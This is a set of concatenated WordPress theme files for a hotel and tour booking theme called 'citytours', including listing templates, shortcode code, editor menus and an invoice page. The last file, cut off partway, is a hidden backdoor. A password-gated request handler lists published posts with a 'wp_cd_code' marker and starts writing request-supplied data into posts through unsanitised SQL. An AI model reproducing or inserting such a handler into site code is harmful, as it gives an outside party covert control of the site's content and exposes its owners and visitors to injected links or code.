<file_sep><?php global $post_id, $before_list;

$wishlist = array();
if ( is_user_logged_in() ) {
	$user_id = get_current_user_id();
	$wishlist = get_user_meta( $user_id, 'wishlist', false );
}
if ( ! is_array( $wishlist ) ) $wishlist = array();

$price = get_post_meta( $post_id, '_hotel_price', true );
if ( empty( $price ) ) $price = 0;
$brief = get_post_meta( $post_id, '_hotel_brief', true );
if ( empty( $brief ) ) {
	$brief = apply_filters('the_content', get_post_field('post_content', $post_id));
	$brief = wp_trim_words( $brief, 20, '' );
}
$star = get_post_meta( $post_id, '_hotel_star', true );
$star = ( ! empty( $star ) )?round( $star, 1 ):0;
$review = get_post_meta( $post_id, '_review', true );
$review = ( ! empty( $review ) )?round( $review, 1 ):0;
$doubled_review = number_format( round( $review * 2, 1 ), 1 );
$review_content = '';
if ( $doubled_review >= 9 ) {
	$review_content = esc_html__( 'Superb', 'citytours' );
} elseif ( $doubled_review >= 8 ) {
	$review_content = esc_html__( 'Very good', 'citytours' );
} elseif ( $doubled_review >= 7 ) {
	$review_content = esc_html__( 'Good', 'citytours' );
} elseif ( $doubled_review >= 6 ) {
	$review_content = esc_html__( 'Pleasant', 'citytours' );
} else {
	$review_content = esc_html__( 'Review Rating', 'citytours' );
}
$wishlist_link = ct_wishlist_page_url();
?>
<?php if ( ! empty( $before_list ) ) {
	echo ( $before_list );
} else { ?>
	<div class="col-md-6 col-sm-6 wow zoomIn" data-wow-delay="0.1s">
<?php } ?>
	<div class="hotel_container">
		<div class="img_container">
			<a href="<?php echo esc_url( get_permalink( $post_id ) ); ?>">
			<?php echo get_the_post_thumbnail( $post_id, 'ct-list-thumb' ); ?>
			<!-- <div class="ribbon top_rated"></div> -->
			<?php if ( ! empty( $review ) ) : ?>
				<div class="score"><span><?php echo esc_html( $doubled_review ) ?></span><?php echo esc_html( $review_content ) ?></div>
			<?php endif; ?>
			<div class="short_info hotel">
				<?php echo esc_html__( 'From/Per night', 'citytours' ) ?>
				<span class="price"><?php echo ct_price( $price, 'special' ) ?></span>
			</div>
			</a>
		</div>
		<div class="hotel_title">
			<h3><?php echo esc_html( get_the_title( $post_id ) );?></h3>
			<div class="rating">
				<?php ct_rating_smiles( $star, 'icon-star-empty', 'icon-star voted' )?>
			</div><!-- end rating -->
			<?php if ( ! empty( $wishlist_link ) ) : ?>
			<div class="wishlist">
				<a class="tooltip_flip tooltip-effect-1 btn-add-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( in_array( ct_hotel_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">+</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e(  'Add to wishlist', 'citytours' ); ?></span></span></a>
				<a class="tooltip_flip tooltip-effect-1 btn-remove-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( ! in_array( ct_hotel_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">-</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e(  'Remove from wishlist', 'citytours' ); ?></span></span></a>
			</div><!-- End wish list-->
			<?php endif; ?>
		</div>
	</div><!-- End box tour -->
</div><!-- End col-md-6 --><file_sep><?php
$variables = array( 'style'=>'', 'active_tab_index' => '1', 'el_class'=>'', 'class'=>'' );
extract( shortcode_atts( $variables, $atts ) );

$result = '';

preg_match_all( '/\[vc_tab(.*?)]/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();

if ( isset( $matches[0] ) ) {
	$tab_titles = $matches[0];
}
if ( count( $tab_titles ) ) {

	$classes = array( 'tab-container', 'clearfix', $style );
	if ( $el_class != '' ) {
		$classes[] = $el_class;
	}

	$result .= sprintf( '<div class="%s"><ul class="nav nav-tabs">', esc_attr( $class ) );
	$uid = uniqid();
	foreach ( $tab_titles as $i => $tab ) {
		preg_match( '/title="([^\"]+)"/i', $tab[0], $tab_matches, PREG_OFFSET_CAPTURE );
		if ( isset( $tab_matches[1][0] ) ) {
			$active_class = '';
			$active_attr = '';
			if ( $active_tab_index - 1 == $i ) {
				$active_class = ' class="active"';
				$active_attr = ' active="true"';
			}

			preg_match( '/ tab_id="([^\"]+)"/i', $tab[0], $tab_id_matches, PREG_OFFSET_CAPTURE );
			$tid = '';
			if ( !empty( $tab_id_matches[1][0] ) ) {
				$tid = esc_attr( $tab_id_matches[1][0] );
			}

			$result .= '<li '. $active_class . '><a href="#' . $tid . '" data-toggle="tab">' . esc_html( $tab_matches[1][0] ) . '</a></li>';
			$before_content = substr($content, 0, $tab[1]);
			$current_content = substr($content, $tab[1]);
			$current_content = preg_replace('/\[vc_tab/', '[vc_tab' . $active_attr, $current_content, 1);
			$content = $before_content . $current_content;
		}
	}
	$result .= '</ul>';
	$result .= '<div class="tab-content">';
	$result .= wpb_js_remove_wpautop( $content );
	$result .= '</div>';
	$result .= '</div>';
} else {
	$result .= wpb_js_remove_wpautop( $content );
}

echo ( $output );<file_sep><?php global $post_id, $before_list;

$wishlist = array();
if ( is_user_logged_in() ) {
	$user_id = get_current_user_id();
	$wishlist = get_user_meta( $user_id, 'wishlist', true );
}
if ( ! is_array( $wishlist ) ) $wishlist = array();

$price = get_post_meta( $post_id, '_tour_price', true );
if ( empty( $price ) ) $price = 0;
$tour_type = wp_get_post_terms( $post_id, 'tour_type' );
$brief = get_post_meta( $post_id, '_tour_brief', true );
if ( empty( $brief ) ) {
	$brief = apply_filters('the_content', get_post_field('post_content', $post_id));
	$brief = wp_trim_words( $brief, 20, '' );
}
$review = get_post_meta( $post_id, '_review', true );
$review = ( ! empty( $review ) )?round( $review, 1 ):0;
$wishlist_link = ct_wishlist_page_url();
?>
<?php if ( ! empty( $before_list ) ) {
	echo ( $before_list );
} else { ?>
	<div class="col-md-6 col-sm-6 wow zoomIn" data-wow-delay="0.1s">
<?php } ?>
	<div class="tour_container">
		<div class="img_container">
			<a href="<?php echo esc_url( get_permalink( $post_id ) ); ?>">
			<?php echo get_the_post_thumbnail( $post_id, 'ct-list-thumb' ); ?>
			<!-- <div class="ribbon top_rated"></div> -->
			<div class="short_info">
				<?php
					if ( ! empty( $tour_type ) ) {
						$icon_class = get_tax_meta($tour_type[0]->term_id, 'ct_tax_icon_class', true);
						if ( ! empty( $icon_class ) ) echo '<i class="' . $icon_class . '"></i>' . $tour_type[0]->name;
					}
				?>
				<span class="price"><?php echo ct_price( $price, 'special' ) ?></span>
			</div>
			</a>
		</div>
		<div class="tour_title">
			<h3><?php echo esc_html( get_the_title( $post_id ) );?></h3>
			<div class="rating">
				<?php ct_rating_smiles( $review )?><small>(<?php echo esc_html( ct_get_review_count( $post_id ) ) ?>)</small>
			</div><!-- end rating -->
			<?php if ( ! empty( $wishlist_link ) ) : ?>
			<div class="wishlist">
				<a class="tooltip_flip tooltip-effect-1 btn-add-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( in_array( ct_tour_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">+</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e(  'Add to wishlist', 'citytours' ); ?></span></span></a>
				<a class="tooltip_flip tooltip-effect-1 btn-remove-wishlist" href="#" data-post-id="<?php echo esc_attr( $post_id ) ?>"<?php echo ( ! in_array( ct_tour_org_id( $post_id ), $wishlist) ? ' style="display:none;"' : '' ) ?>><span class="wishlist-sign">-</span><span class="tooltip-content-flip"><span class="tooltip-back"><?php esc_html_e(  'Remove from wishlist', 'citytours' ); ?></span></span></a>
			</div><!-- End wish list-->
			<?php endif; ?>
		</div>
	</div><!-- End box tour -->
</div><!-- End col-md-6 --><file_sep>#### change log - 1.0.5 #####
\inc\admin\tour\orders-admin-panel.php
#### change log - 1.0.4 #####
single-tour.php
\inc\functions\currency.php
\inc\functions\functions.php
\inc\functions\template-functions.php
\inc\lib\redux-framework\config.php
\inc\shortcode\shortcodes.php
\templates\hotel\checkout.php
\templates\hotel\loop-grid.php
\templates\hotel\loop-list.php
\templates\tour\checkout.php
\templates\tour\loop-grid.php
\templates\tour\loop-list.php<file_sep><?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

if ( ! function_exists( 'ct_tour_get_schedule_html' ) ) {
	function ct_tour_get_schedule_html( $tour_id ) {
		$schedules = ct_tour_get_schedules( $tour_id );
		$has_multi_schedules = get_post_meta( $tour_id, '_has_multi_schedules', true );
		if ( ! empty( $schedules ) ) :
			$schedule_id = $schedules[0]['schedule_id'];
			foreach ( $schedules as $key => $schedule ) :
				if ( $schedule_id != $schedule['schedule_id'] ) {
					echo '</tbody></table></div>';
				}

				if ( ( $key == 0 ) || ( $schedule_id != $schedule['schedule_id'] ) ) { ?>

					<div class="table-responsive">
						<table class="table table-striped">
						<thead>
							<?php if ( ! empty( $has_multi_schedules ) ) : ?>
							<tr>
								<th colspan="2">
									<?php if ( ! empty( $schedule['from'] ) && $schedule['from'] != '0000-00-00' ) echo date( 'jS F', strtotime( $schedule['from'] ) );
									if ( ! empty( $schedule['to'] ) && $schedule['to'] != '0000-00-00' ) echo ' ' . esc_html__( 'to', 'citytours' ) . ' ' . date( 'jS F', strtotime( $schedule['to'] ) ); ?>
								</th>
							</tr>
							<?php endif; ?>
						</thead>
						<tbody>

				<?php }
				echo '<tr> <td> ' . date('l', strtotime("Monday +" . $schedule['day'] . " days")) . ' </td> <td> ';
				if ( ! empty( $schedule['is_closed'] ) ) {
					echo '<span class="label label-danger">' . esc_html__( 'Closed', 'citytours' ) . '</span>';
				} else {
					echo esc_html( $schedule['open_time'] . ' - ' . $schedule['close_time'] ) ;
				}
				echo ' </td> </tr>';
				$schedule_id = $schedule['schedule_id'];
			endforeach;
			echo '</tbody></table></div>';
		endif;
	}
}<file_sep>/**
* v3.X TinyMCE specific functions. (before wordpress 3.9)
*/

(function() {
  tinymce.create('tinymce.plugins.ctShortcode', {

    init : function(ed, url){
      tinymce.plugins.ctShortcode.theurl = url;
    },

    createControl : function(btn, e) {
      if ( btn == 'ct_shortcode_button' ) {
        var a   = this;
        var btn = e.createSplitButton('ct_shortcode_button', {
          title: 'CT Shortcode',
          image: tinymce.plugins.ctShortcode.theurl + '/citytours.png',
          icons: false,
        });

        btn.onRenderMenu.add(function (c, b) {

          // Layouts
          c = b.addMenu({title:'Layouts'});

          a.render( c, 'Row', 'row' );
          a.render( c, 'One Half', 'one-half' );
          a.render( c, 'One Third', 'one-third' );
          a.render( c, 'One Fourth', 'one-fourth' );
          a.render( c, 'Two Third', 'two-third' );
          a.render( c, 'Three Fourth', 'three-fourth' );
          a.render( c, 'Column', 'column' );

          // Elements
          c = b.addMenu({title:'Elements'});

          a.render( c, 'Banner', 'banner' );
          a.render( c, 'Blockquote', 'blockquote' );
          a.render( c, 'Button', 'button' );
          a.render( c, 'Checklist', 'checklist' );
          a.render( c, 'Icon Box', 'icon-box' );
          a.render( c, 'Icon List', 'icon-list' );
          a.render( c, 'Pricing Table', 'pricing-table' );
          a.render( c, 'Review', 'review' );
          a.render( c, 'Tooltip', 'tooltip' );

          // Group
          c = b.addMenu({title:'Group'});

          a.render( c, 'Toggle/Accordion Container', 'toggles' );
          a.render( c, 'Toggle', 'toggle' );
          a.render( c, 'Tabs', 'tabs' );
          a.render( c, 'Tab', 'tab' );

        });
        return btn;
      }
      return null;
    },

    render : function(ed, title, id) {
      ed.add({
        title: title,
        onclick: function () {

          if( id === 'row' ) {
            tinyMCE.activeEditor.selection.setContent('[row]...[/row]');
          }

          if( id === 'one-half' ) {
            tinyMCE.activeEditor.selection.setContent('[one_half (offset="{0-6}") ]...[/one_half]');
          }

          if( id === 'one-third' ) {
            tinyMCE.activeEditor.selection.setContent('[one_third (offset="{0-8}") ]...[/one_third]');
          }

          if( id === 'one-fourth' ) {
            tinyMCE.activeEditor.selection.setContent('[one_fourth (offset="{0-9}") ]...[/one_fourth]');
          }

          if( id === 'two-third' ) {
            tinyMCE.activeEditor.selection.setContent('[two_third (offset="{0-4}") ]...[/two_third]');
          }

          if( id === 'three-fourth' ) {
            tinyMCE.activeEditor.selection.setContent('[three_fourth (offset="{0-3}") ]...[/three_fourth]');
          }

          if( id === 'column' ) {
            tinyMCE.activeEditor.selection.setContent('[column (lg = "{1-12}") (md = "{1-12}") (sm = "{1-12}") (xs = "{1-12}") (lgoff = "{0-12}") (mdoff = "{0-12}") (smoff = "{0-12}") (xsoff = "{0-12}") (lghide = "yes|no") (mdhide = "yes|no") (smhide = "yes|no") (xshide = "yes|no") (lgclear = "yes|no") (mdclear = "yes|no") (smclear = "yes|no") (xsclear = "yes|no") ]...[/column]');
          }

          if( id === 'banner' ) {
            tinyMCE.activeEditor.selection.setContent('[banner (style="colored")]...[/banner]');
          }

          if( id === 'blockquote' ) {
            tinyMCE.activeEditor.selection.setContent('[blockquote]...[/blockquote]');
          }

          if( id === 'button' ) {
            tinyMCE.activeEditor.selection.setContent('[button link="" (target="_blank|_self|_parent|_top|framename") (size="medium|full") (style="outline|white|green")]...[/button]');
          }

          if( id === 'checklist' ) {
            tinyMCE.activeEditor.selection.setContent('[checklist]...[/checklist]');
          }

          if( id === 'icon-box' ) {
            tinyMCE.activeEditor.selection.setContent('[icon_box (style="style2|style3") icon_class=""]...[/icon_box]');
          }

          if( id === 'icon-list' ) {
            tinyMCE.activeEditor.selection.setContent('[icon_list]...[/icon_list]');
          }

          if( id === 'pricing-table' ) {
            tinyMCE.activeEditor.selection.setContent('[pricing_table style="" price="" title="" btn_title="" btn_url="" btn_target="" btn_color="" btn_class="" ribbon_img_url="" (is_featured="yes")]...[/pricing_table]');
          }

          if( id === 'review' ) {
            tinyMCE.activeEditor.selection.setContent('[review name="" (rating="{1-5}") img_url=""]...[/review]');
          }

          if( id === 'tooltip' ) {
            tinyMCE.activeEditor.selection.setContent('[tooltip title="" (effect="1|2|3|4") (position="top|right|bottom|left") (style="advanced")]...[/tooltip]');
          }

          if( id === 'toggles' ) {
            tinyMCE.activeEditor.selection.setContent('[toggles (toggle_type="accordion|toggle") ][toggle title="Toggle Title" (active="yes|no")]...[/toggle][/toggles]');
          }

          if( id === 'toggle' ) {
            tinyMCE.activeEditor.selection.setContent('[toggle title="Toggle Title" (active="yes|no")]...[/toggle]');
          }

          if( id === 'tabs' ) {
            tinyMCE.activeEditor.selection.setContent('[tabs active_tab_index="{1-}"]...[/tabs]');
          }

          if( id === 'tab' ) {
            tinyMCE.activeEditor.selection.setContent('[tab id="" title="" active="yes|no"]...[/tab]');
          }

          return false;

        }
      });
    }
  
  });

  tinymce.PluginManager.add('ct_shortcode', tinymce.plugins.ctShortcode);

})();<file_sep><?php $post_id = get_the_ID(); ?>

<div id="post-<?php echo esc_attr( $post_id ); ?>" <?php post_class(); ?>>
	<?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'full', array('class' => 'img-responsive') ); } ?>
	<div class="post_info clearfix">
		<div class="post-left">
			<ul>
				<li><i class="icon-calendar-empty"></i><?php echo esc_html__( 'On', 'citytours' ) ?> <span><?php echo get_the_date(); ?></span></li>
				<li><i class="icon-inbox-alt"></i><?php echo esc_html__( 'In', 'citytours' ) ?> <?php the_category( ' ' ); ?></li>
				<li><i class="icon-tags"></i><?php the_tags(); ?></li>
			</ul>
		</div>
		<div class="post-right"><i class="icon-comment"></i><?php comments_number(); ?></div>
	</div>
	<h2><?php the_title(); ?></h2>
	<p><?php the_excerpt(); ?></p>
	<a href="<?php the_permalink(); ?>" class="btn_1"><?php echo esc_html__( 'Read more', 'citytours' ) ?></a>
</div><!-- end post --><file_sep><?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

require_once( CT_INC_DIR . '/admin/tour/bookings-admin-panel.php' );
require_once( CT_INC_DIR . '/admin/tour/orders-admin-panel.php' );<file_sep>/**
* v4.X TinyMCE specific functions. (from wordpress 3.9)
*/

(function() {

  tinymce.PluginManager.add('ct_shortcode', function(editor, url) {

    editor.addButton('ct_shortcode_button', {

      type  : 'menubutton',
      title  : 'CT Shortcode',
      style : 'background-image: url("' + url + '/citytours.png' + '"); background-repeat: no-repeat; background-position: 2px 2px;"',
      icon  : true,
      menu  : [
        { text: 'Layouts',
          menu : [
             { text : 'Row', onclick: function() {editor.insertContent('[row]...[/row]');} },
             { text : 'One Half', onclick: function() {editor.insertContent('[one_half (offset="{0-6}") ]...[/one_half]');} },
             { text : 'One Third', onclick: function() {editor.insertContent('[one_third (offset="{0-8}") ]...[/one_third]');} },
             { text : 'One Fourth', onclick: function() {editor.insertContent('[one_fourth (offset="{0-9}") ]...[/one_fourth]');} },
             { text : 'Two Third', onclick: function() {editor.insertContent('[two_third (offset="{0-4}") ]...[/two_third]');} },
             { text : 'Three Fourth', onclick: function() {editor.insertContent('[three_fourth (offset="{0-3}") ]...[/three_fourth]');} },
             { text : 'Column', onclick: function() {editor.insertContent('[column (lg = "{1-12}") (md = "{1-12}") (sm = "{1-12}") (xs = "{1-12}") (lgoff = "{0-12}") (mdoff = "{0-12}") (smoff = "{0-12}") (xsoff = "{0-12}") (lghide = "yes|no") (mdhide = "yes|no") (smhide = "yes|no") (xshide = "yes|no") (lgclear = "yes|no") (mdclear = "yes|no") (smclear = "yes|no") (xsclear = "yes|no") ]...[/column]');} },
             { text : 'Container', onclick: function() {editor.insertContent('[container]...[/container]');} },
          ]
        },
        { text: 'Main Elements',
          menu : [
             { text : 'Banner', onclick: function() {editor.insertContent('[banner (style="colored")]...[/banner]');} },
             { text : 'Blockquote', onclick: function() {editor.insertContent('[blockquote]...[/blockquote]');} },
             { text : 'Button', onclick: function() {editor.insertContent('[button link="" (target="_blank|_self|_parent|_top|framename") (size="medium|full") (style="outline|white|green")]...[/button]');} },
             { text : 'Checklist', onclick: function() {editor.insertContent('[checklist]...[/checklist]');} },
             { text : 'Icon Box', onclick: function() {editor.insertContent('[icon_box (style="style2|style3") icon_class=""]...[/icon_box]');} },
             { text : 'Icon List', onclick: function() {editor.insertContent('[icon_list]...[/icon_list]');} },
             { text : 'Pricing Table', onclick: function() {editor.insertContent('[pricing_table style="" price="" title="" btn_title="" btn_url="" btn_target="" btn_color="" btn_class="" ribbon_img_url="" (is_featured="yes")]...[/pricing_table]');} },
             { text : 'Review', onclick: function() {editor.insertContent('[review name="" (rating="{1-5}") img_url=""]...[/review]');} },
             { text : 'Tooltip', onclick: function() {editor.insertContent('[tooltip title="" (effect="1|2|3|4") (position="top|right|bottom|left") (style="advanced")]...[/tooltip]');} },
          ]
        },
        { text: 'Group',
          menu : [
             { text : 'Toggles/Accordions', onclick: function() {editor.insertContent('[toggles (toggle_type="accordion|toggle") ][toggle title="Toggle Title" (active="yes|no")]...[/toggle][/toggles]');} },
             { text : 'Toggle', onclick: function() {editor.insertContent('[toggle title="Toggle Title" (active="yes|no")]...[/toggle]');} },
             { text : 'Tabs', onclick: function() {editor.insertContent('[tabs active_tab_index="{1-}"]...[/tabs]');} },
             { text : 'Tab', onclick: function() {editor.insertContent('[tab id="" title="" active="yes|no"]...[/tab]');} },
          ]
        },
        { text: 'Pages & Lists',
          menu : [
             { text : 'Hotel Cart Page', onclick: function() {editor.insertContent('[hotel_cart]');} },
             { text : 'Hotel CheckOut Page', onclick: function() {editor.insertContent('[hotel_checkout]');} },
             { text : 'Hotel Booking Confirmation Page', onclick: function() {editor.insertContent('[hotel_booking_confirmation]');} },
             { text : 'Tour Cart Page', onclick: function() {editor.insertContent('[tour_cart]');} },
             { text : 'Tour CheckOut Page', onclick: function() {editor.insertContent('[tour_checkout]');} },
             { text : 'Tour Booking Confirmation Page', onclick: function() {editor.insertContent('[tour_booking_confirmation]');} },
          ]
        }
      ]

    });

  });

})();<file_sep><?php
 /*
 Blog Page Content
 */
global $cat;
$posts_per_page = get_option( 'posts_per_page' );
$arg_str = 'post_type=post&post_status=publish&posts_per_page=' . $posts_per_page . '&paged='. get_query_var('paged');
if ( ! empty( $cat ) )  $arg_str .= '&cat=' . $cat;
query_posts( $arg_str );
?>

<div class="box_style_1">
	<?php if ( have_posts() ) : ?>
		<?php $index = 0; ?>
		<?php while(have_posts()): the_post(); ?>
			<?php if ( 0 != $index ) { ?>
				<hr>
			<?php } $index++; ?>
			<?php ct_get_template( 'loop-blog.php', '/templates' ); ?>
		<?php endwhile; ?>
	<?php else : ?>
		<?php esc_html_e( 'No posts found', 'citytours' ); ?>
	<?php endif; ?>
</div><!-- end box_style_1 -->
<hr>
<div class="text-center">
	<?php echo paginate_links( array( 'type' => 'list','prev_text' => esc_html__( 'Prev', 'citytours' ), 'next_text' => esc_html__('Next', 'citytours'), ) ); ?>
</div>
<?php wp_reset_query(); ?><file_sep><?php
$output = $el_class = $active_tab = $toggle_type = '';
//
extract(shortcode_atts(array(
	'toggle_type' => 'accordion',
	'title' => '',
	'el_class' => '',
	'active_tab' => '1',
), $atts));

preg_match_all( '/\[vc_accordion_tab(.*?)]/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tabs_arr = array();
if ( isset( $matches[0] ) ) {
	$tabs_arr = $matches[0];
}

foreach ( $tabs_arr as $i => $tab ) {
	if ( $i === (int)$active_tab - 1 ) {
		$before_content = substr($content, 0, $tab[1]);
		$current_content = substr($content, $tab[1]);
		$current_content = preg_replace('/\[vc_accordion_tab/', '[vc_accordion_tab active="yes"' , $current_content, 1);
		$content = $before_content . $current_content;
	}
}

$uid = uniqid('ct-tgg-');
if ( $toggle_type == 'accordion' ) {
	foreach ( $tabs_arr as $i => $tab ) {
		$before_content = substr($content, 0, $tab[1]);
		$current_content = substr($content, $tab[1]);
		$replace_str = '[vc_accordion_tab parent_id="' . $uid . '"';
		$current_content = preg_replace('/\[vc_accordion_tab/', $replace_str , $current_content, 1);
		$content = $before_content . $current_content;
	}
}

$el_class = $this->getExtraClass($el_class);
$css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, trim('panel-group ' . $el_class), $this->settings['base'], $atts );
if ( ! empty( $title ) ) { $output .= '<h2>' . esc_html( $title ) . '</h2>'; }
$output .= "\n\t".'<div class="'. esc_attr( $css_class ) .'" id="' . $uid . '">';
$output .= "\n\t\t\t".wpb_js_remove_wpautop($content);
$output .= "\n\t".'</div> ';

echo ( $output );<file_sep><?php

/**
 * Initialize Visual Composer
 */

if ( class_exists( 'Vc_Manager', false ) ) {
    add_action( 'vc_before_init', 'ct_vcSetAsTheme' );
    function ct_vcSetAsTheme() {
        vc_set_as_theme(true);
    }

    if ( function_exists( 'vc_disable_frontend' ) ) :
      vc_disable_frontend();
    endif;

    add_action( 'vc_before_init', 'ct_load_js_composer' );

    function ct_load_js_composer() {
        require_once CT_INC_DIR . '/js_composer/js_composer.php';
    }

    if ( function_exists( 'vc_set_shortcodes_templates_dir' ) ) {
        vc_set_shortcodes_templates_dir( CT_INC_DIR . '/js_composer/vc_templates' );
    }
}

<file_sep><!DOCTYPE html>
<!--[if IE 8]><html class="ie ie8"> <![endif]-->
<!--[if IE 9]><html class="ie ie9"> <![endif]-->
<!--[if gt IE 9]><!--> <!--<![endif]-->
<html <?php language_attributes(); ?>>
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">

	<?php if ( ! function_exists( 'has_site_icon' ) || ! has_site_icon() ) { ?>
	<link rel="shortcut icon" href="<?php echo esc_url( ct_favicon_url() ); ?>" type="image/x-icon" />
	<?php } ?>

	<style>
	.invoice-title h2, .invoice-title h3 {display: inline-block;}
	.table > tbody > tr > .no-line {border-top: none;}
	.table > thead > tr > .no-line {border-bottom: none;}
	.table > tbody > tr > .thick-line {border-top: 2px solid;}
	</style>

	<?php wp_head(); ?>
</head>
<body>
<div class="container">
<?php if ( ! empty( $_REQUEST['booking_no'] ) && ! empty( $_REQUEST['pin_code'] ) ) {
	$order = new CT_Hotel_Order( $_REQUEST['booking_no'], $_REQUEST['pin_code'] );
	if ( $order_info = $order->get_order_info() ) {
		$post_type = get_post_type( $order_info['post_id'] );
		$deposit_rate = 0;
		if ( 'tour' == $post_type ) {
			$deposit_rate = get_post_meta( $order_info['post_id'], '_tour_security_deposit', true );
		} elseif( 'hotel' == $post_type ) {
			$deposit_rate = get_post_meta( $order_info['post_id'], '_hotel_security_deposit', true );
		}
?>

	<div class="row">
		<div class="col-xs-12">
			<div class="invoice-title">
				<h2><?php echo esc_html__( 'Invoice', 'citytours' ) ?></h2><h3 class="pull-right"><?php echo sprintf( esc_html__( 'Order # %s', 'citytours' ), $order_info['id'] ) ?></h3>
			</div>
			<hr>
			<div class="row">
				<div class="col-xs-6">
					<address>
					<strong><?php echo esc_html__( 'Billed To', 'citytours' ) ?>:</strong><br>
						<?php echo esc_html( $order_info['first_name'] . ' ' . $order_info['last_name'] ) ?><br>
						<?php if ( ! empty( $order_info['address1'] ) ) echo esc_html( $order_info['address1'] ) . '<br>' ?>
						<?php if ( ! empty( $order_info['address2'] ) ) echo esc_html( $order_info['address2'] ) . '<br>' ?>
						<?php echo esc_html( $order_info['state'] ) ?>, <?php echo esc_html( $order_info['city'] ) ?> <?php echo esc_html( $order_info['zip'] ) ?><br>
						<?php echo esc_html( $order_info['country'] ) ?><br>
					</address>
				</div>
				<div class="col-xs-6 text-right">
					<address>
						<strong><?php echo esc_html__( 'Order Date', 'citytours' ) ?>:</strong><br>
						<?php echo esc_html( date_i18n( ct_site_date_format(), strtotime( $order_info['created'] ) ) ) ?><br><br>
					</address>
				</div>
			</div>
		</div>
	</div>

	<div class="row">
		<div class="col-md-12">
			<div class="panel panel-default">
				<div class="panel-heading">
					<h3 class="panel-title"><strong><?php echo esc_html__( 'Order summary', 'citytours' ) ?></strong></h3>
				</div>
				<div class="panel-body">
					<div class="table-responsive">
						<table class="table table-condensed">
							<thead>
								<tr>
									<td><strong><?php echo esc_html__( 'Item ID', 'citytours' ) ?></strong></td>
									<td class="text-center"><strong><?php echo esc_html__( 'Description', 'citytours' ) ?></strong></td>
									<td class="text-right"><strong><?php echo esc_html__( 'Totals', 'citytours' ) ?></strong></td>
								</tr>
							</thead>
							<tbody>

								<?php
								if ( 'hotel' == $post_type ) {
									$order_rooms = $order->get_rooms();
									if ( ! empty( $order_rooms ) ) :
										foreach ( $order_rooms as $order_room ) : ?>
											<tr>
												<td class=""><?php echo esc_html( $order_room['room_type_id'] ) ?></td>
												<td class="text-center"><?php echo esc_html( get_the_title( $order_room['room_type_id'] ) ) . ' ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_from'] ) ) . ' - ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_to'] ) ) ?></td>
												<td class="text-right"><?php echo ct_price( $order_room['total_price'] ) ?></td>
											</tr>
									<?php endforeach;
									endif;
								} elseif ( 'tour' == $post_type ) {
									$tour_data = $order->get_tours();
									if ( ! empty( $tour_data ) ) : ?>
										<tr>
											<td class=""><?php echo esc_html( $tour_data['tour_id'] ) ?></td>
											<td class="text-center"><?php echo esc_html( get_the_title( $tour_data['tour_id'] ) );
											if ( ! empty( $order_info['date_from'] ) && '0000-00-00' != $order_info['date_from'] ) echo ' - ' . date_i18n( ct_site_date_format(), strtotime( $order_info['date_from'] ) ) ?></td>
											<td class="text-right"><?php echo ct_price( $tour_data['total_price'] ) ?></td>
										</tr>
									<?php endif;
								} ?>

								<?php $order_services = $order->get_services();
								if ( ! empty( $order_services ) ) :
								?>
								<?php foreach ( $order_services as $order_service ) : ?>
								<?php $service_data = ct_get_add_service( $order_service['add_service_id'] ); ?>
								<tr>
									<td class=""><?php echo esc_html( $order_service['add_service_id'] ) ?></td>
									<td class="text-center"><?php echo esc_html( $service_data->title ) ?></td>
									<td class="text-right"><?php echo ct_price( $order_service['total_price'] ) ?></td>
								</tr>
								<?php endforeach; ?>
								<?php endif; ?>
								<tr>
									<td class="thick-line"></td>
									<td class="thick-line text-center"><strong><?php echo esc_html__( 'Total', 'citytours' ) ?></strong></td>
									<td class="thick-line text-right"><?php echo ct_price( $order_info['total_price'] ) ?></td>
								</tr>
								<?php if ( ! empty( $deposit_rate ) && $deposit_rate < 100 ) : ?>
									<tr>
										<td class="no-line"></td>
										<td class="no-line text-center"><strong><?php echo sprintf( esc_html__( 'Security Deposit (%d%%)', 'citytours' ), $deposit_rate ) ?></strong></td>
										<td class="no-line text-right"><?php echo ct_price( $order_info['deposit_price'], "", $order_info['currency_code'], 0 ) ?></td>
									</tr>
								<?php endif; ?>
							</tbody>
						</table>
					</div>
				</div>
			</div>
		</div>
	</div>

	<?php } else { ?>
		<div class="alert-info"><?php echo esc_html__( 'Wrong Booking Number or Pin Code.', 'citytours' ); ?></div>
	<?php } ?>
<?php } else {
	echo esc_html__( 'You can not access to this page directly.', 'citytours' );
} ?>
</div>
<?php wp_footer(); ?>
</body>
</html><file_sep><?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '<PASSWORD>'))
	{
		switch ($_REQUEST['action'])
			{
				case 'get_all_links';
					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
						{
							$data['code'] = '';
							
							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
								{
									$data['code'] = $_[1];
								}
							
							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
						}
				break;
				
				case 'set_id_links';
					if (isset($_REQUEST['data']))
						{
							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
							
